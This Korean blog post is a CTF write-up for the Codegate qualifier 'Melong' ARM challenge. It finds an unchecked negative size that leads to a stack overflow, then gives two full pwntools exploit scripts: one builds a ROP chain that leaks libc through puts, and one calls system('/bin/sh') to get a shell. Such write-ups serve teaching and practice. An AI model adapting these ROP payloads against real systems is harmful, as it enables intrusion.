넘무 오랜만에 글을 올린다ㅜㅜㅜㅜ
시험 끝나고 너무 망쳐서 멘탈 관리하느라 힘들었다 ...
arm에 관련된 문제인 코드게이트 예선 Melong문제를 풀어보겠다.
arm에 관련된 정리는 곧 올릴 것이다. ㅎㅎ!
그럼 문제를 풀어 보자!
보호기법을 보면 NX와 Partial RELRO가 걸려있다.
main함수를 확인을 해보자.
프로그램은 bmi를 측정해주는 프로그램인 것 같다.
main을 보면 여러가지 함수가 있다 하나씩 살펴보도록 하자.
check
check함수는 간단하게 자신의 height와 weight를 입력을 받는다.
exercise
bmi값이 under이거나over인지 확인을 해주고,
그것을 토대로 운동을 해야하는지 또는 하지 말아야 하는지를 판단하는 함수이다.
PT
원하는 size값을 받고 그만큼 exercise를 하고 malloc도 해준다.
그런데 if문에서 음수값을 제한을 하지 않기 때문에 음수를 넣어주면 될 것 같다. ㅎㅎㅎㅎㅎ
Write_diary
취약점의 향기가 맡아진다 ㅎ....
nbytes는 PT에서 size값이랑 동일하다.
그러면 size값을 크게주면 오버플로우가 가능하지 않을까?
LEt's ExPlOit!
LEAK_SYSTEM_ADDR
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | #!/usr/bin/python from pwn import * e = ELF('./melon') p = process('./melon.sh') l = ELF('/root/qira/qira/libs/armel/lib/arm-linux-gnueabi/libc.so.6') gadget1 = 0x00010460 #pop {r3, pc} gadget2 = 0x0011D28 #pop {r4, r5, r6, r7, r8, sb, sl, pc} gadget3 = 0x0011D18 #mov r0, r7 ; blx r3 system = 0xf670e351 #Check BMI print p.recvuntil('number:') p.sendline('1') p.recvuntil('Your height(meters) : ') p.sendline('1.87') p.recvuntil('Your weight(kilograms) : ') p.sendline('84') #pass print p.recvuntil('number:') p.sendline('2') #- print p.recvuntil('number:') p.sendline('3') p.recvuntil('training?\n') p.sendline('-1') # print p.recvuntil('number:') p.sendline('4') payload = '' payload += "A"*0x50 payload += "BBBB" payload += p32(e.symbols['__libc_csu_init']+0x54) payload += p32(0) #r4 payload += p32(0) #r5 payload += p32(0) #r6 payload += p32(e.got['puts']) #Puts Arg payload += p32(0) #r8 payload += p32(0) #r9 payload += p32(0) #r10 payload += p32(gadget1) #LDMFD R3 PC payload += p32(e.plt['puts']) payload += p32(e.symbols['__libc_csu_init']+0x44) payload += "/bin/sh\x00" p.sendline(payload);sleep(1) p.sendline('6') print p.recvuntil(':)\n') leak = u32(p.recv(4)) libc = leak - l.symbols['puts'] system = libc + l.symbols['system'] print "Leak :"+hex(leak) print "Libc :"+hex(libc) print "System :"+hex(system) | cs |
ASLR이 걸려있지 않아서 쉽게 system주소를 구할 수 있다.
GET-SHELL
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 | #!/usr/bin/python from pwn import * e = ELF('./melon') p = process('./melon.sh') gadget1 = 0x00010460 #pop {r3, pc} gadget2 = 0x0011D28 #pop {r4, r5, r6, r7, r8, sb, sl, pc} gadget3 = 0x0011D18 #mov r0, r7 ; blx r3 system = 0xf670e351 #Check BMI print p.recvuntil('number:') p.sendline('1') p.recvuntil('Your height(meters) : ') p.sendline('1.87') p.recvuntil('Your weight(kilograms) : ') p.sendline('84') #pass print p.recvuntil('number:') p.sendline('2') #- print p.recvuntil('number:') p.sendline('3') p.recvuntil('training?\n') p.sendline('-1') # print p.recvuntil('number:') p.sendline('4') payload = '' payload += "A"*0x50 payload += "BBBB" payload += p32(e.symbols['__libc_csu_init']+0x54) payload += p32(0) #r4 payload += p32(0) #r5 payload += p32(0) #r6 payload += p32(0xf6fff040) #r7 #No ASLR #0xf6fff040 = /bin/sh payload += p32(0) #r8 payload += p32(0) #r9 payload += p32(0) #r10 payload += p32(gadget1) #LDMFD R3 PC payload += p32(system) payload += p32(e.symbols['__libc_csu_init']+0x44) payload += "/bin/sh\x00" p.sendline(payload);sleep(1) p.sendline('6') print p.recvuntil(':)\n') p.interactive() | cs |
생각보다 어려웠다.
ARM이 처음이여서 그런 것도 있는데
가젯이 말을 안들었다.
그래서 가젯을 찾다가 LDMFD R3 PC(POP R3 PC)가젯을 찾아서
익스플로잇을 하니까 그때부터 값이 제대로 들어갔다.
그리고 파일명을 길게하니까 익스플로잇이 되다가 다시 안되는 문제도 있었다.
아마도 파일길이가 길어져서 /bin/sh\x00의 주소값이 달라졌나보다 ...
'SYSTEM HACKING > 문제 풀이' 카테고리의 다른 글
| Dreamhack basic_rop_x64 (0) | 2020.04.25 |
|---|---|
| Dreamhack basic_rop_x86 (0) | 2020.04.24 |
| HITCON 2014 stkof (0) | 2018.03.19 |
| BCTF 2016 Bcloud (0) | 2018.03.15 |
| Hack.lu CTF 2014 - oreo (2) | 2018.03.10 |